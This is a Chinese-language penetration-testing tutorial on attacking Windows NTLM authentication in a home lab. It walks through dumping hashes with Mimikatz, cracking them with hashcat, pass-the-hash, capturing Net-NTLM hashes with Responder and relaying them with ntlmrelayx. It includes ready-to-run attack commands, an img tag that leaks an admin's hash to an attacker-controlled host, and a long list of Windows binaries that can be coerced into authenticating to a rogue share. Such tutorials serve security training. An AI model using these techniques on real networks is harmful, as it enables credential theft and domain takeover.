內網滲透——針對hash的攻擊

0x01 前言

本文從hash獲取方式,爆破hash,hash中轉,中繼等方面全面分析,以直觀詳細的實踐來了解攻擊過程,過程比較詳細,請耐心觀看。

 

0x02 什麼是NTLM-hash、net NTLM-hash

NTLM hash是windows登錄密碼的一種hash,可從Windows系統中的SAM文件和域控的NTDS.dit文件中獲得所有用戶的hash(比如用Mimikatz提取),獲取該hash之後,可進行爆破明文、哈希傳遞(PtH攻擊),

Net-NTLM的hash是基於NTLM的hash值經過一定的算法產生的,獲取Net-NTLM的hash之後,可進行爆破明文、利用smb進行中繼攻擊,該hash不能進行哈希傳遞攻擊。
什麼是NTLM hash?

NTLM hash的生成方法:

1、將明文口令轉換成十六進制的格式

2、把十六進制轉換成Unicode格式,每個字節之後添加0x00

3、再對Unicode字符串作MD4加密,生成32位的十六進制數字串

這裏我通過mimikatz工具先直觀的瞭解NTLM hash,mimikatz直接從 lsass.exe 裏獲取windows處於active狀態賬號明文密碼,以windows server2012爲例:

從上圖發現:

NTLM hash:A1E33A2281B8C6DBC2373BFF87E8CB6E

明文密碼:123456Abc

 

0x03 對NTLM hash暴力破解

如果通過其它途徑獲得此hash,即A1E33A2281B8C6DBC2373BFF87E8CB6E,可用hashcat進行字典暴力破解,Hashcat參數如下:

hashcat64.exe -m 1000 A1E33A2281B8C6DBC2373BFF87E8CB6E example.dict -o out.txt —force

參數說明:
-m 選擇哈希類別,1000爲NTLM
-o 輸出破解成功的明文
example.dict 明文字典

打開out.txt,發現明文123456Abc

注意:

由於windows server2012 r2、windwos 8.1以及更高版本都做了加固,即禁止明文緩存到內存,而mimikatz是基於內存獲取明文密碼,則無法直接通過mimikatz獲取明文密碼,直接提取結果爲“null”,但可通過修改註冊表來獲取。

參考

受保護用戶 ( Protected Users )

http://www.bubuko.com/infodetail-2077149.html

 

0x04 NTLM哈希傳遞

哈希傳遞通俗來講,就是不需要明文登錄,用NTLM hash可直接進行登錄。

在我們使用某服務時,Windows會帶上自身的認證信息進行嘗試登錄,這個認證信息其實就是Net-NTLM的Hash,我們使用哪些服務會讓Windows帶上自身認證信息登錄?如訪問smb共享文件夾等,此時會使用認證信息嘗試登錄,並且調用lsass內存中的hash緩存嘗試登錄,此時使用mimikatz等工具修改緩存的hash爲獲取得到的hash,從而使用修改的hash進行登錄,這是哈希傳遞的原理。文章後面講到的獲取Net-NTLM的hash,其實就是利用帶認證信息訪問smb,如讓管理員訪問此wdb:<img src="\192.168.191.129xx">,192.168.191.129被攻擊者控制的一臺內網PC,可獲取管理員的Net-NTLM hash。

先講下認證請求過程:

1、客戶端先對在本地對密碼加密成爲密碼散列
2、客戶端發送認證請求,即發生明文賬號
3、服務器返回一個16位的隨機數字發送給客戶端,作爲一個 challenge
4、客戶端再用步驟1的密碼散列來加密這個 challenge ,作爲 response返回給服務器。
5、服務器把用戶名、給客戶端的challenge 、客戶端返回的 response ,發送域控制器
6、域控制器使用此用戶名在SAM密碼管理庫的密碼散列,加密給客戶端的challenge
7、與步驟4客戶端加密的challenge比較,如果兩個challenge一致,認證成功

哈希傳遞漏洞發生在步驟4中,直接使用修改緩存後的hash,進行challenge加密,對challenge 加密的hash已經不是發送賬號對應的hash,而是攻擊者通過其他途徑獲取的hash進行challenge加密。
Pth攻擊演示:

靶機ip:

攻擊機ip:

假設已經獲得NTLM hash:

管理員身份運行mimikatz:

mimikatz執行命令參數:

sekurlsa::pth /user:Ancert /domain:WIN-0HE0PTAL9L4 /ntlm:A1E33A2281B8C6DBC2373BFF87E8CB6E

此時再進行其它認證操作,可直接用獲取的目標hash進行登錄認證。

 

0x05 Net-NTLM hash獲取

Net-NTLM hash不能直接獲取,通過Responder工具進行攔截獲取,此hash不能進行哈希傳遞,但可進行中繼轉發,利用Responder等中間人工具,結合其它工具可自動化進行攔截獲取並中繼轉發,其它工具如 Impacket的ntlmrelayx.py進行中繼轉發。

在攻擊機上運行Responder,此時攻擊機模擬爲SMB服務讓受害者進行認證登錄,通過設置幾個模擬的惡意守護進程(如SQL服務器,FTP,HTTP和SMB服務器等)來直接提示憑據或模擬質詢 – 響應驗證過程並捕獲客戶端發送的必要 hash,當受害者機器嘗試登陸攻擊者機器,responder就可以獲取受害者機器用戶的NTLMv2哈希值。。

Responder下載安裝:

https://github.com/lgandx/Responder

Responder操作演示

客戶端IP:

攻擊機IP:

1、 無需編輯Responder.conf,因爲此時SMB、HTTP服務不要關閉,等中繼攻擊時才關閉這兩個服務。因此這裏先演示Responder怎麼獲取net-NTLM hash,在中繼攻擊裏關閉SMB、HTTP,是因爲此時不再由Responder獲取hash,而是直接讓ntlmrelayx.py來完成這一任務。

2、 攻擊機執行 python Responder.py -I eth0,此時處於監聽狀態

3、 利用SMB協議,客戶端在連接服務端時,默認先使用本機的用戶名和密碼hash嘗試登錄,所以可以模擬SMB服務器從而截獲hash,執行如下命令都可以得到hash。
客戶端執行如下命令,攻擊機的Responder能收到。

> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo  

客戶端執行 net use 192.168.191.131aaa

4、 攻擊機成功收到NTLMv2-SSP Hash

Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000

爆破net-NTLM hash

繼續用hashcat進行hash爆破,Hashcat參數如下:

hashcat64.exe -m 5600 Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000 example.dict -o out.txt --force

參數說明:

-m 選擇哈希類別,5600爲net-NTLM

成功破解出明文密碼,如下圖:

打開out.txt,發現破解出明文123456Abc

 

0x06 SMB中繼攻擊

前面文章說過了,當獲取到net-NTLM hash之後,由於不能通過類似哈希傳遞的修改緩存hash進行認證,此hash無法進行哈希傳遞,怎麼進行攻擊呢?可通過Responder工具攔截管理員的net-NTLM hash,配合ntlmrelayx.py進行中繼轉發。

Impacket下載:

git clone https://github.com/CoreSecurity/impacket.git

進行中繼前提:目標SMB簽名需要關閉,在SMB連接中,需要使用安全機制來保護服務器和客戶端之間傳輸數據的完整性,而這種安全機制就是SMB簽名和加密,如果關閉SMB簽名,會允許攻擊者攔截認證過程,並且將獲得hash在其他機器上進行重放,,從而獲得域管權限。

目前SMB常用來做爲SMB文件共享、打印機,如果簽名關閉,可能導致文件共享、打印機被入侵。

比如我用虛擬機搭建的SMB文件共享如下,具體認證登錄過程文章前面部分已講過,看看這個效果:

虛擬機IP:192.168.191.139

先探測目標是否已關閉SMB簽名,命令如下:

nmap --script smb-security-mode.nse -p445 192.168.191.139 --open

如下是我用虛擬機搭建的域控環境測試,中繼轉發操作:

域內普通用戶-受害者機器(win7)

域管理員(administrator)機器(windows server 2012 r2)

kali linux 攻擊者機器

1、Responder關閉SMB、HTTP

2、執行python Responder.py -I eth0 -r -d –w

3、執行python ntlmrelayx.py -tf targets.txt -socks -smb2support

說明 :

targets.txt內容爲域內受害IP 192.168.191.139

python ntlmrelayx.py -t 192.168.191.139 -socks -smb2support //

4、域管模擬輸入一個共享,生成一個LLMNR請求

5、通過Responder發送

6、NTLMv2哈希憑據被中繼

攻擊流程總結:

1、關閉Responder的SMB和HTTP服務, 運行Responder工具來截取Net-NTLM哈希值

2、運行ntlmrelayx.py腳本,將Net-NTLM哈希值發送到ntlmrelayx.py腳本的SMB和HTTP服務

3、ntlmrelayx.py將hash發送到目標列表中,如果中繼操作執行成功會觸發通知命令。

這裏先大概熟悉下中繼轉發的原理基礎,在下一篇會結合DeathStar和Empire,演示自動化域滲透,以及對net NTLM-hash的利用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章